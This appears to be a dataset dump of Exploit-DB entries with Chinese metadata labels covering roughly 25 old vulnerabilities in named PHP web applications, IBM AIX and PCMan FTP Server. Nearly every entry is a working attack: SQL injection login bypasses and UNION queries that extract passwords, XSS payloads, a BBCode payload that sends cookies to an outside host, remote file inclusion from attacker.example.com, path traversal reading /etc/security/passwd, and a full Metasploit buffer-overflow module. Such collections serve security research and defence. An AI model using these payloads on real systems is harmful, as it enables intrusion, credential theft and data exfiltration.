QLWD/code_shield huggingface dataset:
标题: ScozNet ScozBook 1.1 - 'AdminName' SQL Injection EDB-ID: 27018 CVE: 2006-0079 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/16115/info

ScozNet ScozBook is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/auth.php

username: a' or 'a'='a'/*
password: anypassword URL: https://www.exploit-db.com/exploits/27018
标题: PHPJournaler 1.0 - 'Readold' SQL Injection EDB-ID: 27004 CVE: 2006-0066 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/16111/info

PHPjournaler is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/phpjournaler/index.php?readold=999%20union%20select%201,password,3,4,name,6%20from%20Users/* URL: https://www.exploit-db.com/exploits/27004
标题: PCMan FTP Server 2.0.7 - Remote (Metasploit) EDB-ID: 27007 CVE: 2013-4730 类型: REMOTE 平台: WINDOWS 发布日期: 2013-07-22 漏洞利用脚本: # Exploit-DB Note: Ret needs adjustment for Windows XP SP3 English

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'PCMan\'s FTPD V2.0.7 Username Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow found in the USER command
    of PCMan's FTPD.
   },
   'Author'         => 'MSJ <matt.jones.85[at]gmail.com>',
   'License'        => MSF_LICENSE,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread'
    },
   'Payload'        =>
    {
     'Space'    => 2005,
     'BadChars' => "\x53\x93\x42\x7E",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # Target 0
     [
      'Windows XP SP3 English',
      {
       'Ret'      => 0x7e429353 # push esp, ret
      }
     ]
    ],
   'Default Target' => 0))
 end

 def check
  connect
  disconnect

  if (banner =~ /220 PCMan\'s FTP Server 2\.0 Ready\./)
   return Exploit::CheckCode::Vulnerable
  end
   return Exploit::CheckCode::Safe
 end

 def exploit
  connect

  print_status("Trying target #{target.name}...")

  sploit = 'USER ' + "\x41" * 2005 + [target.ret].pack('V') + make_nops(16) + payload.encoded
  
  send_cmd( [sploit] , false )

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/27007
标题: InTouch 0.5.1 Alpha - User Variable SQL Injection EDB-ID: 27003 CVE: 2006-0088 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/16110/info

inTouch is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/index.php

username: a' or 'a'='a'/*
password: anypassword URL: https://www.exploit-db.com/exploits/27003
标题: IBM AIX 5.3 - 'GetShell' / 'GetCommand' File Enumeration EDB-ID: 26996 CVE: 2006-0133 类型: LOCAL 平台: AIX 发布日期: 2005-12-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/16102/info

IBM AIX is prone to a local vulnerability in getShell and getCommand. This issue may let local attackers enumerate the existence of files on the computer that they wouldn't ordinarily be able to see.

-bash-3.00$./getCommand.new ../../../../../../etc/security/passwd
-bash-3.00$./getCommand.new ../../../../../../etc/security/passwd.aa
fopen: No such file or directory URL: https://www.exploit-db.com/exploits/26996
标题: Jevontech PHPenpals - PersonalID SQL Injection EDB-ID: 27002 CVE: 2006-0074 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/16109/info

Jevontech PHPenpals is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/phpenpals/profile.php?personalID=999%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,password,14%20from%20admin/* URL: https://www.exploit-db.com/exploits/27002
标题: PHPBook 1.x - Mail Field PHP Code Injection EDB-ID: 26999 CVE: 2006-0075 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/16106/info

phpBook is prone to a vulnerability that may let remote attackers inject arbitrary PHP code into the application. This code may then be executed by visiting pages that include the injected code. 

E-mail field: qwe@<? anyphpcode(); ?>.com URL: https://www.exploit-db.com/exploits/26999
标题: OABoard 1.0 Forum - Remote File Inclusion EDB-ID: 26998 CVE: 2006-0076 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/16105/info

The oaBoard application is prone to a remote file-include vulnerability. As a result, remote users may specify external PHP scripts to be included by the application.

This could result in the execution of arbitrary PHP code in the context of the webserver hosting the application. 

http://oaboard.example.com/oaboard_en/forum.php?inc=http://attacker.example.com/code.php URL: https://www.exploit-db.com/exploits/26998
标题: Kayako SupportSuite 3.0 0.26 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26994 CVE: 2005-4637 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/16094/info

Kayako SupportSuite is prone to multiple cross-site scripting vulnerabilities.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

These issues affect versions 3.00.26 and prior. 

http://www.example.com/index.php?_m=downloads&_a=view&
parentcategoryid=3&pcid=1&nav=[XSS] URL: https://www.exploit-db.com/exploits/26994
标题: OOApp Guestbook 2.1 Home Script - Cross-Site Scripting EDB-ID: 26993 CVE: 2005-4598 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/16091/info

OOApp Guestbook is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

/home.php?page=1[XSS]

/home.php?do=add_form&page=1[XSS] URL: https://www.exploit-db.com/exploits/26993
标题: Dream4 Koobi 5.0 - BBCode URL Tag Script Injection EDB-ID: 26988 CVE: 2005-4588 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/16078/info

Koobi is prone to a script injection vulnerability.

An attacker can nest BBCode URL tags to trigger this issue and execute arbitrary code in a user's browser.

Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. Other attacks are also possible.

Koobi 5 is reportedly prone to this vulnerability. 

[color=#EFEFEF][url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://mysite/cookies.php?
c='+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color] URL: https://www.exploit-db.com/exploits/26988
标题: Ades Design AdesGuestbook 2.0 Read Script - Cross-Site Scripting EDB-ID: 26992 CVE: 2005-4596 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/16090/info

Ades Design AdesGuestbook is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

/read.php?pageNum_rsRead=1&totalRows_rsRead=[XSS] URL: https://www.exploit-db.com/exploits/26992
标题: IBM AIX 5.3 - 'GetShell' / 'GetCommand' File Disclosure EDB-ID: 26997 CVE: 2006-0133 类型: LOCAL 平台: AIX 发布日期: 2006-01-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/16103/info

IBM AIX is prone to a local vulnerability in getShell and getCommand. This vulnerability may let the attacker gain unauthorized read access to shell scripts on the computer. 

-bash-3.00$ ls -l /tmp/k.sh -rwx------ 1 root system 79 2005-12-22 23:40
/tmp/k.sh
-bash-3.00$./getCommand.new ../../../../../tmp/k.sh

ps -ef > /tmp/log. $$
grep test /tmp/log.
$$ rm /tmp/log. $$ URL: https://www.exploit-db.com/exploits/26997
标题: GMailSite 1.0.x - Cross-Site Scripting EDB-ID: 26989 CVE: 2005-4627 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/16081/info

GMailSite is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

GMailSite 1.0.4 and prior versions are affected by this issue. GFHost 0.4.2 and prior versions are also vulnerable.

http://www.example.com/?lng=es"><script>alert(document.cookie)</script>
http://www.example.com/index.php?lng=es"><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26989
标题: IceWarp Universal WebMail - '/mail/include.html' Crafted HTTP_USER_AGENT Arbitrary File Access EDB-ID: 26984 CVE: 2005-4559 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/16069/info
    
IceWarp Universal WebMail is prone to multiple input-validation vulnerabilities. Deerfield VisNetic Mail Server and Merak Mail Server integrate IceWarp Universal WebMail into their suites.
    
An attacker can exploit these issues to include arbitrary local or remote files containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
    
Additionally, an attacker can exploit these issues to obtain the contents of local files.
    
Merak Mail Server 8.3.0.r and VisNetic MailServer 8.3.0 build 1 are affected by these issues.
    
UPDATE (July 30, 2007): Symantec has confirmed that this issue is being actively exploited in the wild.

http://example.com:32000/mail/index.html?/mail/index.html?default_layout=OUTLOOK2003&layout_settings[OUTLOOK2003]=test;[file]%00;2 URL: https://www.exploit-db.com/exploits/26984
标题: FatWire UpdateEngine 6.2 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26987 CVE: 2005-4576 类型: WEBAPPS 平台: JAVA 发布日期: 2005-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/16073/info

FatWire UpdateEngine is prone to multiple cross-site scripting vulnerabilities.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

These issues affect versions 6.2 and prior. 

http://www.example.com/UpdateEngine?FUELAP_OP=FUELOP_NewScreen&PAGE_ID
=FWS%5FPAGE%5F1399202&FUELAP_SITEDBID=SITE%5F%2D
66&ACTIVITY_ID=FWS%5FWHITEPAPERS%5F1404733&COUNT
RY_ID=INTSITE%5F1167494&CAMPAIGN_ID=SFCAMPAIGN%5
F%2D1&COUNTRYNAME=us&SOURCEPAGE_ID=FWS%5FPAGE%5F1
415379&FUELAP_TEMPLATENAME=[XSS]

http://www.example.com/UpdateEngine?FUELAP_OP=FUELOP_NewScreen&FUELAP_
TEMPLATENAME=fws%5FforgotpasswordForm&SOURCEPAGE_
ID=FWS%5FPAGE%5F1150486&PAGE_ID=FWS%5FPAGE%5F1402
412&EMAIL=[XSS]&CAMPAIGN_ID=SFCAMPAIGN%5F%2D1&COU
NTRY_ID=INTSITE%5F1167494&ERROR=error&ACTIVITY_ID
=FWS%5FWHITEPAPERS%5F1300483&COUNTRYNAME=us&FUELA
P_SITEDBID=SITE%5F%2D66&

http://www.example.com/UpdateEngine?FUELAP_OP=FUELOP_NewScreen&FUELAP_TE
MPLATENAME=fws%5FforgotpasswordForm&SOURCEPAGE_ID=
FWS%5FPAGE%5F1150486&PAGE_ID=FWS%5FPAGE%5F1402412&
EMAIL=&CAMPAIGN_ID=SFCAMPAIGN%5F%2D1&COUNTRY_ID=IN
TSITE%5F1167494&ERROR=error&ACTIVITY_ID=FWS%5FWHIT
EPAPERS%5F1300483&COUNTRYNAME=[XSS]

http://www.example.com/UpdateEngine?FUELAP_OP=FUELOP_NewScreen&FUELAP_TE
MPLATENAME=[XSS] URL: https://www.exploit-db.com/exploits/26987
标题: Cerberus Helpdesk 2.649 - 'cer_KnowledgebaseHandler.class.php?_load_article_details' SQL Injection EDB-ID: 26973 CVE: 2005-4427 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/16062/info

Cerberus Helpdesk is prone to multiple cross-site scripting and SQL injection vulnerabilities. These issues are the result of inadequate validation of user-supplied input that will be included in site output or in SQL queries.

The cross-site scripting vulnerability may permit a remote attacker to steal cookie-based authentication credentials from legitimate users. Successful exploitation of SQL injection vulnerabilities could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/cerberus-gui/knowledgebase.php?mode=view_entry&root=2&sid=c7bb6a0d5f83d61d75053c85c14af247&kbid=4 [SQL] URL: https://www.exploit-db.com/exploits/26973
标题: IceWarp Universal WebMail - '/admin/inc/include.php' Multiple Remote File Inclusions EDB-ID: 26980 CVE: 2005-4556 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/16069/info
 
IceWarp Universal WebMail is prone to multiple input-validation vulnerabilities. Deerfield VisNetic Mail Server and Merak Mail Server integrate IceWarp Universal WebMail into their suites.
 
An attacker can exploit these issues to include arbitrary local or remote files containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
 
Additionally, an attacker can exploit these issues to obtain the contents of local files.
 
Merak Mail Server 8.3.0.r and VisNetic MailServer 8.3.0 build 1 are affected by these issues.
 
UPDATE (July 30, 2007): Symantec has confirmed that this issue is being actively exploited in the wild.

http://example.com:32000/admin/inc/include.php?language=0&lang_settings[0][1]=http://[host]/ URL: https://www.exploit-db.com/exploits/26980
标题: Dev Web Management System 1.5 - 'add.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26978 CVE: 2005-4555 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/16063/info
   
Dev Web Management System is prone to multiple input validation vulnerabilities. These issues may allow SQL injection and cross-site scripting attacks.
   
Dev Web Management System versions 1.5 and earlier are prone to these issues. 

http://example.com/[path]/add.php?language[ENTER_ARTICLE_TITLE]=");}}--></script><script>alert(document.cookie)</script>

http://example.com/[path]/add.php?language[SPECIFY_ZONE]=");}}--></script><script>alert(document.cookie)</script>

http://example.com/[path]/add.php?language[ENTER_ARTICLE_HEADER]=");}}--></script><script>alert(document.cookie)</script>

http://example.com/[path]/add.php?language[ENTER_ARTICLE_BODY]=");}}--></script><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26978
标题: IceWarp Universal WebMail - '/dir/include.html?lang' Local File Inclusion EDB-ID: 26981 CVE: 2005-4557 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/16069/info
 
IceWarp Universal WebMail is prone to multiple input-validation vulnerabilities. Deerfield VisNetic Mail Server and Merak Mail Server integrate IceWarp Universal WebMail into their suites.
 
An attacker can exploit these issues to include arbitrary local or remote files containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
 
Additionally, an attacker can exploit these issues to obtain the contents of local files.
 
Merak Mail Server 8.3.0.r and VisNetic MailServer 8.3.0 build 1 are affected by these issues.
 
UPDATE (July 30, 2007): Symantec has confirmed that this issue is being actively exploited in the wild.

http://example.com:32000/dir/include.html?lang=[file]%00 URL: https://www.exploit-db.com/exploits/26981
标题: IceWarp Universal WebMail - '/mail/settings.html?Language' Local File Inclusion EDB-ID: 26982 CVE: 2005-4558 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/16069/info
  
IceWarp Universal WebMail is prone to multiple input-validation vulnerabilities. Deerfield VisNetic Mail Server and Merak Mail Server integrate IceWarp Universal WebMail into their suites.
  
An attacker can exploit these issues to include arbitrary local or remote files containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
  
Additionally, an attacker can exploit these issues to obtain the contents of local files.
  
Merak Mail Server 8.3.0.r and VisNetic MailServer 8.3.0 build 1 are affected by these issues.
  
UPDATE (July 30, 2007): Symantec has confirmed that this issue is being actively exploited in the wild.


http://example.com:32000/mail/settings.html?id=[current_id]&Save_x=1&language=TEST URL: https://www.exploit-db.com/exploits/26982
标题: PaperThin CommonSpot Content Server 4.5 - Cross-Site Scripting EDB-ID: 26986 CVE: 2005-4574 类型: WEBAPPS 平台: CFM 发布日期: 2005-12-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/16071/info

PaperThin CommonSpot Content Server is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

/loader.cfm?url=/[DIRPATH]/[DIRPATH]/email-login-info.cfm&errmsg=No%20user%20account
%20was%20found%20for%20that%20email%20address.%20%20Please%20try%20again.&bNewWindo
w=[XSS] URL: https://www.exploit-db.com/exploits/26986
标题: Dev Web Management System 1.5 - 'getfile.php?cat' SQL Injection EDB-ID: 26976 CVE: 2005-4554 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/16063/info
 
Dev Web Management System is prone to multiple input validation vulnerabilities. These issues may allow SQL injection and cross-site scripting attacks.
 
Dev Web Management System versions 1.5 and earlier are prone to these issues. 

http://example.com/[path]/getfile.php?cat=%%'UNION%20SELECT%20value,value%20FROM%20variables1%20%20WHERE%20name='admin_password'/* URL: https://www.exploit-db.com/exploits/26976
标题: Cerberus Helpdesk 2.649 - 'display_ticket_thread.php?ticket' SQL Injection EDB-ID: 26975 CVE: 2005-4427 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/16062/info
  
Cerberus Helpdesk is prone to multiple cross-site scripting and SQL injection vulnerabilities. These issues are the result of inadequate validation of user-supplied input that will be included in site output or in SQL queries.
  
The cross-site scripting vulnerability may permit a remote attacker to steal cookie-based authentication credentials from legitimate users. Successful exploitation of SQL injection vulnerabilities could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/cerberus-gui/display_ticket_thread.php?type=comment&sid=a640d024f84be01320aacb0ec6c87d74&ticket=[SQL] URL: https://www.exploit-db.com/exploits/26975
标题: IceWarp Universal WebMail - '/accounts/inc/include.php' Multiple Remote File Inclusions EDB-ID: 26979 CVE: 2005-4556 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/16069/info

IceWarp Universal WebMail is prone to multiple input-validation vulnerabilities. Deerfield VisNetic Mail Server and Merak Mail Server integrate IceWarp Universal WebMail into their suites.

An attacker can exploit these issues to include arbitrary local or remote files containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Additionally, an attacker can exploit these issues to obtain the contents of local files.

Merak Mail Server 8.3.0.r and VisNetic MailServer 8.3.0 build 1 are affected by these issues.

UPDATE (July 30, 2007): Symantec has confirmed that this issue is being actively exploited in the wild.

http://example.com:32000/accounts/inc/include.php?language=0&lang_settings[0][1]=http://[host]/ URL: https://www.exploit-db.com/exploits/26979
标题: Dev Web Management System 1.5 - 'download_now.php?target' SQL Injection EDB-ID: 26977 CVE: 2005-4554 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/16063/info
  
Dev Web Management System is prone to multiple input validation vulnerabilities. These issues may allow SQL injection and cross-site scripting attacks.
  
Dev Web Management System versions 1.5 and earlier are prone to these issues. 

http://example.com/[path]/download_now.php?target=9999999999999[SQL] URL: https://www.exploit-db.com/exploits/26977
标题: Cerberus Helpdesk 2.649 - 'addresses_export.php?queues' SQL Injection EDB-ID: 26974 CVE: 2005-4427 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/16062/info
 
Cerberus Helpdesk is prone to multiple cross-site scripting and SQL injection vulnerabilities. These issues are the result of inadequate validation of user-supplied input that will be included in site output or in SQL queries.
 
The cross-site scripting vulnerability may permit a remote attacker to steal cookie-based authentication credentials from legitimate users. Successful exploitation of SQL injection vulnerabilities could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

POST: /cerberus-gui/addresses_export.php
sid=c61ce82aa50569705dd774c33644446c&queues%5B%5D=[SQL]&delimiter=comma&file_type=screen&form_submit=x URL: https://www.exploit-db.com/exploits/26974